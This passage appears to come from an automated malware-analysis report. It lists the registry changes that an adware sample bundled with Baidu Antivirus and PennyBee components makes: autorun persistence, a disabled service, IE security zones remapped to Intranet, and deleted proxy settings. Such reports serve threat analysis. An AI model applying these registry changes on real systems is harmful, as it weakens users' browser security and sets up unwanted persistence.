[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Baidu Security\Antivirus\web]
"Guid" = "61807c4bafc26bb2ed98e3e60f587cd6"
"Version" = "5.4.3.147185"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\C]
"BaseClass" = "Drive"

[HKCU\Software\Baidu Security\Antivirus\web]
"Enable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

To automatically run itself each time Windows is booted, the Adware adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Baidu Antivirus" = "%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavTray.exe -auto"

The following service is disabled:

[HKLM\System\CurrentControlSet\Services\BavR3base]
"Start" = "4"

The Adware deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\BavR3base]
[HKLM\System\CurrentControlSet\Services\BavR3base\Enum]

The Adware deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"uFlag"

[HKLM\System\CurrentControlSet\Services\PerfOS\Performance]
"Error Count"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\BavSvc\DEBUG]
"Trace Level"

The process CheckNetwork.exe:1488 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 D7 F9 94 23 9D C3 00 A8 36 81 49 E9 8F 6D 71"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Adware deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process CheckNetwork.exe:1308 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\LocalService\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "28 42 FF 1D 67 3D F3 F3 1D F2 07 48 47 B2 3C 42"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Adware deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process PennyBeeW.exe:404 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\LocalService\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\LocalService\Application Data"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKU\.DEFAULT\Software\PennyBee]
"InstallValue" = "var DPInstHelp = {""Channel"": ""pcdealbnew""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\PennyBeeW\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "18 E9 44 55 42 BD E4 F3 F2 41 62 74 33 DF 81 3B"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

The Adware deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\PennyBeeW\DEBUG]
"Trace Level"

The process %original file name%.exe:1284 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq3.tmp\registry.dll,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EB 68 6B D8 25 30 C7 CE 54 52 4D 1C E8 06 43 33"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Adware deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process BavMSService.exe:2164 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "69 35 84 D6 C9 34 73 61 D6 54 14 81 F3 14 41 A1"

The process BavMSService.exe:204 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 8A CF 1E 2D 54 28 9A D1 C2 7A 46 DE 29 AB FB"

The process BavMSService.exe:2436 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8B 46 01 C8 29 14 FA D0 1A 97 09 16 0E 12 75 35"

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe:592 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Baidu Security\PC Faster]
"pcfaster-guid" = "80362997-b636-492d-840b-d6d8a80f01b6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Baidu Security\PC Faster]
"pcfaster-id" = "S-1-5-21-1844237615-1960408961-1801674531-1003#000C2902CDFB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BAV mini setup]
"InstalledTime" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus]
"InstallFlag" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\All Users\Application Data\Baidu\Antivirus]
"BavMSService.exe" = "Baidu Antivirus MS Service"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7F 06 02 43 47 A6 E8 3F 09 A8 01 05 A4 3F 78 28"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\BavMini]
"BavMiniPath" = "%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\baidu_secure\update]
"BavPro_Setup_B354.exe" = "Baidu Antivirus Setup"

The Adware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Adware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Adware modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Adware deletes the following registry key(s):

[HKLM\SOFTWARE\BavMini]

The Adware deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn\DEBUG]
"Trace Level"

The process BavTray.exe:248 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "43 2E F9 39 C0 2C 46 C4 7D F1 C2 87 09 36 C9 48"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Baidu Security\Antivirus\TestSwitch]
"EnableCallBackFlag" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\Unknown\shell\opendlg\command]
"bavbak" = "%SystemRoot%\SysWow64\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1"

[HKCR\Unknown\shell\openas\command]
"bavbak" = "%SystemRoot%\SysWow64\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1"

The process amisetup9587__9664.exe:2584 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
